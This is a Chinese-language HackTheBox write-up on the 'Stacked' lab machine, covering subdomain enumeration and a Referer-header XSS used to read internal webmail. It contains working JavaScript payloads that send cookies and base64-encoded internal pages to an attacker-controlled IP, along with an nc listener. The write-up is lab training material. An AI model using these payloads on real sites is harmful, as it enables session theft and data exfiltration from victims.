HTB Stacked靶机:通过XSS与RCE实现Docker容器逃逸
使用nmap扫描主机10.129.228.28,发现开放端口:22(OpenSSH 8.2p1)、80(Apache 2.4.41)和2376(带TLS的Docker守护进程)。在/etc/hosts中添加条目后,端口80托管域名stacked.htb。主页包含一个电子邮件字段,提交时未见明显网络流量。
使用gobuster和common.txt进行目录暴力破解无果。改用ffuf和subdomains-top1million-5000.txt进行虚拟主机枚举,配合单词过滤器(-fw 18)发现了portfolio.stacked.htb。
gobuster dir -u http://stacked.htb -w /usr/share/wordlists/dirb/common.txt
ffuf -u http://stacked.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.stacked.htb" -fw 18
分析portfolio.stacked.htb与LocalStack
portfolio.stacked.htb网站描述了Stacked公司,该公司使用LocalStack——一个在Docker容器中运行的本地AWS服务模拟器。可获取一个docker-compose.yml文件,其中暴露了以下端口:
- 443(HTTPS)
- 4566(LocalStack API)
- 4571(可能为Elasticsearch)
- 8080(Web UI)
wget http://portfolio.stacked.htb/files/docker-compose.yml
docker compose up
页面底部显示了创建年份——这可能是进一步利用的线索。
发现并利用XSS漏洞
portfolio.stacked.htb上的个人数据提交表单会反射HTML标签,并显示消息“检测到xss!”。直接向/process.php请求体注入,即使进行双重URL编码也失败。
测试头部(User-Agent、Origin、Referer)后,发现Referer存在漏洞。载荷<script src="http://10.10.16.10/test.js"></script>成功执行:
let req1 = new XMLHttpRequest();
req1.open('GET', 'http://10.10.16.10/cookie=' + document.cookie, false);
req1.send();
Cookie受HttpOnly保护。切换到document.location后,发现来源:http://mail.stacked.htb/read-mail.php?id=2。
通过XSS进行CSRF攻击以访问mail.stacked.htb
新子域名mail.stacked.htb会重定向外部请求。通过受害者XSS,我们实现了一个代理:
- 注入
<script src="http://10.10.16.10/exploit.js"></script>。 - 脚本请求内部页面,用base64编码,并发送给攻击者:9001。
let req1 = new XMLHttpRequest();
req1.onreadystatechange = function(){
if (this.readyState == 4){
data = btoa(req1.response);
let req2 = new XMLHttpRequest();
req2.open('GET', 'http://10.10.16.10:9001/page=' + data, false);
req2.send();
}
}
req1.open('GET', 'http://mail.stacked.htb/read-mail.php?id=1', false);
req1.send();
nc -nlvp 9001
echo -n "PD9..." | base64 -d > index.html
收件箱包含一封来自Jeremy Taint的电子邮件,内容关于启动S3实例(id=1)。由于网络限制,CSS/图片未加载。
关键要点
- Referer头部的XSS导致在受害者上下文中执行JavaScript。
- 通过XMLHttpRequest的base64代理绕过Docker网络限制。
- LocalStack的docker-compose文件揭示了内部端口和架构。
- 当目录爆破失败时,虚拟主机枚举至关重要。
- ffuf的单词过滤器(-fw)解决了动态错误内容问题。
— Editorial Team
暂无评论。